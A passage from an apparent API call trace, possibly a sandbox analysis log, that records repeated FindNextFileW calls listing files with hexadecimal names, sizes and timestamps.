cFileName="4EB19FA3D8CEAD68F6470D09587A1393AA88100C", cAlternateFileName="4EB19F~1")) returned 1 [0211.803] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c05d84, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x3c05d84, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x416710e, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x1cbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="4ED140178E492EA87CC63B79854E2794790379DF", cAlternateFileName="4ED140~1")) returned 1 [0211.803] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd4f2826, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd4f2826, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd4f2826, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xe29, dwReserved0=0x0, dwReserved1=0x0, cFileName="4EFB15999EE57EDBFAADF69D6A31D8C6F90FE8DC", cAlternateFileName="4EFB15~1")) returned 1 [0211.803] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd4f2826, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd4f2826, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd4f2826, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xe29, dwReserved0=0x0, dwReserved1=0x0, cFileName="4F0C54EEF677196E2899E5E79B4F3A906E46F926", cAlternateFileName="4F0C54~1")) returned 1 [0211.805] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f5c99, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x70f5c99, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x7100c8d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xd35, dwReserved0=0x0, dwReserved1=0x0, cFileName="4F5B7C56CEF8F02506BB0BB5AB3AD85843369F94", cAlternateFileName="4F5B7C~1")) returned 1 [0211.805] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x449b755a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x449b755a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x449b755a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="4F680E68B8C682B5D2540FA7BE7B7F0D7521D9C9", cAlternateFileName="4F680E~1")) returned 1 [0211.805] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45471edf, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45471edf, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x45530aa0, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="4FBCDA21ACAE6C9FD6B604C7A16BAE88E45F4D18", cAlternateFileName="4FBCDA~1")) returned 1 [0211.805] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74ae200, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x74ae200, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x74b0916, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x8d24, dwReserved0=0x0, dwReserved1=0x0, cFileName="4FC87940361F2B04B3366CC184210D87808060BF", cAlternateFileName="4FC879~1")) returned 1 [0211.805] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440eca7b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x440eca7b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x440eca7b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xab58, dwReserved0=0x0, dwReserved1=0x0, cFileName="4FCA54FC9B5C08F4A61C96D6642C029B00E50F17", cAlternateFileName="4FCA54~1")) returned 1 [0211.805] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x436dfc5, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x436dfc5, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4e767b4, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x1658, dwReserved0=0x0, dwReserved1=0x0, cFileName="50368CB52EB7460247084562523D1AE6E2D6FF15", cAlternateFileName="50368C~1")) returned 1 [0211.806] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x433cfb20, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x433cfb20, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x433cfb20, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x413, dwReserved0=0x0, dwReserved1=0x0, cFileName="514D7C625328106E43CEC7FD7CF71AEDA0A3101F", cAlternateFileName="514D7C~1")) returned 1 [0211.806] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd4f2826, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd4f2826, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd4f2826, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xe27, dwReserved0=0x0, dwReserved1=0x0, cFileName="522FF036651FEA29F227BFB14BD934175DDBA62A", cAlternateFileName="522FF0~1")) returned 1 [0211.806] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd56503b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd56503b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd56503b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xdfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="529CD0D4C166C4989BAABA7E5FF50F75FB1D22D3", cAlternateFileName="529CD0~1")) returned 1 [0211.806] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fad502d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x2096f70d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x2096f70d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xb6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="52DA3BAA6D4D709B01D171773AD7B03240F54458", cAlternateFileName="52DA3B~1")) returned 1 [0211.806] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0a0fac7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc0a0fac7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc0a0fac7, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x4d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="53276735904DF669A90B5F1543E4FBB2A1927E85", cAlternateFileName="532767~1")) returned 1 [0211.806] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc208fcfa, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc208fcfa, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x3f29b99e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2bd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="53DAE4B1D7BFF6744CCAF7207DE631267F9883DC", cAlternateFileName="53DAE4~1")) returned 1 [0211.806] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd518a8e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd518a8e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd518a8e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x10fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="53FE39FDB590D11DCF5D36416A9314CCABB2C284", cAlternateFileName="53FE39~1")) returned 1 [0211.806] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd4f2826, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd4f2826, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd4f2826, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xe25, dwReserved0=0x0, dwReserved1=0x0, cFileName="56C1D667A6AFD5406F830882D54923461E079C1B", cAlternateFileName="56C1D6~1")) returned 1 [0211.806] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3aefdc3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc3aefdc3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd4f2826, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x554c, dwReserved0=0x0, dwReserved1=0x0, cFileName="5754A981D1B97D4C45C91BFDCC6C62D72CF625EF", cAlternateFileName="5754A9~1")) returned 1 [0211.806] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440c680d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x440c680d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x440c680d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x639, dwReserved0=0x0, dwReserved1=0x0, cFileName="579EC9227C4A988DCC4894D82AA161957107515D", cAlternateFileName="579EC9~1")) returned 1 [0211.806] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4964228, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc4964228, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcaf78f3b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x21dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="57E662573FD9E42D3972BE92D3DF0557C7B2E836", cAlternateFileName="57E662~1")) returned 1 [0211.806] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8ac315, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8ac315, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8ac315, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xef7, dwReserved0=0x0, dwReserved1=0x0, cFileName="5994EFBA690009A711CB274682E4797710EC767B", cAlternateFileName="5994EF~1")) returned 1 [0211.806] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a29c76, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x44a29c76, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x44a29c76, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3798, dwReserved0=0x0, dwReserved1=0x0, cFileName="5A39FCB4CCAE4A6C76307026D7C882B4AE85B1F9", cAlternateFileName="5A39FC~1")) returned 1 [0211.806] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8ac315, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8ac315, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8ac315, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xf30, dwReserved0=0x0, dwReserved1=0x0, cFileName="5A78256218E560B4D9035CC52A989756691DFAEC", cAlternateFileName="5A7825~1")) returned 1 [0211.807] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x435baa6, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x435baa6, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x436f332, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x2817, dwReserved0=0x0, dwReserved1=0x0, cFileName="5B9196645BD157422AF27C7DAA67799558B3FDF3", cAlternateFileName="5B9196~1")) returned 1 [0211.807] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8860b6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8860b6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8860b6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xeee, dwReserved0=0x0, dwReserved1=0x0, cFileName="5CC1482042EA552D42DB375CF62E1959EDFD4F33", cAlternateFileName="5CC148~1")) returned 1 [0211.807] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f2a2eca, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x1f2a2eca, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x1f2a2eca, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="5D226BBBF0930C513E215ADFB7B666D0DCA9B9D2", cAlternateFileName="5D226B~1")) returned 1 [0211.808] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3c47318, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc3c47318, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc3c6d56d, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x4d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="5D3521E1D174FCB4103705B4338E3AB106525CC9", cAlternateFileName="5D3521~1")) returned 1 [0211.808] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef8bd1c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xef8bd1c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x451b00b9, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x2198, dwReserved0=0x0, dwReserved1=0x0, cFileName="5D44AC703C53CC7EE6356F698FD1B03DA81FFE47", cAlternateFileName="5D44AC~1")) returned 1 [0211.808] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9899a, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x6f9899a, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x6f99d11, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x447d, dwReserved0=0x0, dwReserved1=0x0, cFileName="5E4954707B44E5A4B4ACF5F22B52219A1DCA477F", cAlternateFileName="5E4954~1")) returned 1 [0211.808] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e6ac3a, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x3e6ac3a, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x41684cf, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x1481, dwReserved0=0x0, dwReserved1=0x0, cFileName="5F48FAABC36B7B66AAC3820F4C14377E7CE7AF5C", cAlternateFileName="5F48FA~1")) returned 1 [0211.809] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x458be9ed, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x458be9ed, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x45aebce0, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x41a, dwReserved0=0x0, dwReserved1=0x0, cFileName="5F6CA4B735A819E20BF4C478266384C8A4B7C158", cAlternateFileName="5F6CA4~1")) returned 1 [0211.809] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e767b4, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4e767b4, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4e767b4, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x1161, dwReserved0=0x0, dwReserved1=0x0, cFileName="5FE82A8DD7C9014AEE2AAA31ED2ABEDABD77E7C4", cAlternateFileName="5FE82A~1")) returned 1 [0211.809] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6769b93, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc6769b93, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc6c2e6d2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x114f4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="616AB700BF5ED4A444798148DA26984F3B31D83A", cAlternateFileName="616AB7~1")) returned 1 [0211.809] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca61cf5c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xca61cf5c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd4f2826, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x2eab, dwReserved0=0x0, dwReserved1=0x0, cFileName="62326019F9C99B9A93D51B48A1F63BC2D075A6B9", cAlternateFileName="623260~1")) returned 1 [0211.809] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4386e489, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4386e489, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4386e489, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1abb, dwReserved0=0x0, dwReserved1=0x0, cFileName="635EAE5D2B518F168607E2A8D67845079C2A7DF0", cAlternateFileName="635EAE~1")) returned 1 [0211.809] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42dfff70, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x42dfff70, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x42dfff70, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="63ACFE8698FC61908B016C5D661F8E6F430E32B6", cAlternateFileName="63ACFE~1")) returned 1 [0211.809] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34ab24a, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x34ab24a, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x34beafc, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x0, dwReserved1=0x0, cFileName="63F48F4F7F1BC3195F5AB831F9794F3DBA2D30E1", cAlternateFileName="63F48F~1")) returned 1 [0211.809] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7047323, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x7047323, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x7049b25, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x4d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="644E400521E4BFD78E4063E539A97F0C19A5EF01", cAlternateFileName="644E40~1")) returned 1 [0211.809] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd85fe5b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd85fe5b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd85fe5b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xe01, dwReserved0=0x0, dwReserved1=0x0, cFileName="6730E7D38947125CF79CAEB391A7C2548F883DD9", cAlternateFileName="6730E7~1")) returned 1 [0211.809] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ed95f4, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4ed95f4, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4eda97d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xd2f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="698AC159A6BCBA0D13FE6F10F1A38E498F826F33", cAlternateFileName="698AC1~1")) returned 1 [0211.809] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42e261bf, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x42e261bf, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x42e261bf, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x155c, dwReserved0=0x0, dwReserved1=0x0, cFileName="6B59D88F10856ABB980993D7332F49AB71BD33B8", cAlternateFileName="6B59D8~1")) returned 1 [0211.809] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd56503b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd56503b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd56503b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xe14, dwReserved0=0x0, dwReserved1=0x0, cFileName="6BFE0EB337F328928E30DD51C1084B7FD4937D99", cAlternateFileName="6BFE0E~1")) returned 1 [0211.809] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89a2223, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89a2223, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x528, 